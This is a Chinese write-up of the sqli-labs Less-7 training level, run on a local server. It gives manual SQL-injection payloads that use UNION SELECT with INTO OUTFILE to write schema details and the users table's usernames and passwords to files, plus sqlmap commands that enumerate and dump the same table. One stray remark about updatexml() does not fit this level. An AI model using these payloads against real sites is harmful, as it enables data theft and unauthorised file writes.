1. 思路🚀
本關的SQL語句為:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
- 注入類型:字符串型(單引號、雙括號包裹)
- 提示:參數id需以
'))
閉合
同樣無法像常規一樣回顯,php
輸出語句的代碼如下:
if($row){echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";}
對于無回顯的情況,我們會想到:
- 布爾盲注:邏輯判斷?
- 時間盲注:延時判斷?
- 報錯盲注:報錯回顯?
我用sqlmap掃到了布爾盲注與時間盲注,但根據提示是想要我們通過MySQL的load_file
(文件讀取)和into outfile
(文件寫入)來解決本關卡,先搞into outfile()
,再搞load_file()
。
2. 條件🧩
對這個關卡感觀不好,是因為要求挺多的,還是找了不少文章+AI輔助才解決本關卡。首先需要打開MySQL的命令行,查看secure_file_priv
的值。
值 | 含義 | 是否允許文件操作 |
---|---|---|
具體路徑 | 僅允許操作該目錄下的文件(如你的 D:\...\Uploads\ ) | ? 有條件允許 |
NULL | 禁止所有文件導入/導出操作 | ? 完全禁止 |
空字符串 '' | 允許操作任意路徑的文件(高危!) | ? 完全允許 |
我的屬于具體路徑
,截圖展示:
這就意味著,我必須在指定的路徑中進行文件讀寫,當然我可以修改這個路徑,可修改的位置在MySQL安裝時的my.ini
中,具體修改位置:
一定要MySQL80
服務的,不然不會生效。出于學習的目的,我就不改路徑了,大家隨意。
3. 手工注入步驟🎯
我的地址欄是:http://localhost:8081/Less-7/
,只需要將下面的sql語句粘貼即可。
3.1. 正常請求?
?id=1
說明:測試回顯情況
3.2. 判斷字段數?
?id=-1')) order by 4 --+
order by 4
:探測字段數(報錯說明字段數=3)
3.3. 寫入基礎信息?
?id=-1')) union select database(),version(),user() into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt" --+
3.4. 寫入表名?
?id=-1')) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 'security' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\2.txt" --+
3.5. 寫入字段?
?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\3.txt" --+
3.6. 寫入數據?
?id=-1')) union select 1,username,password from users into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\4.txt" --+
因為updatexml()
函數最多顯示32位數據,建議使用concat()
搭配limit + offset
使用,例如limit n,1
,n為起始位置。
3.7. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
')) | 閉合符號 | id=1')) |
--+ | 注釋符 | --+ |
order by | 判斷字段數 | order by 4 |
union select | 聯合查詢 | union select 1,2,3 |
group_concat() | 合并結果 | group_concat(table_name) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
4. SQLMap工具測試🎯
url
地址換成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-7/?id=1
# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-7/?id=1" --batch# 爆數據庫
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截圖:
命令5截圖:
SQLMap參數表?
參數 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚舉數據庫 |
-D | 指定數據庫 |
-T | 指定表 |
-C | 指定列 |
--dump | 導出數據 |
5. 讀取文件🔍
load_file()
和into outfile()
是成對出現的,我通過mysql
命令行的方式,簡單了解下load_file()
。
select load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt");
文件內容是十六進制編碼形式??,而非原始文本,需要改一下語句:
select convert(load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt") using utf8) as file_content;
6. 總結🏁
剛開始我用sqlmap掃的時候,發現只有布爾盲注和時間盲注,盡管根據本題解析也能通過,但是條件未免也太嚴格了(一開始怎么知道能不能寫入文件
)。
聲明:本文僅用于安全學習,嚴禁非法測試! ???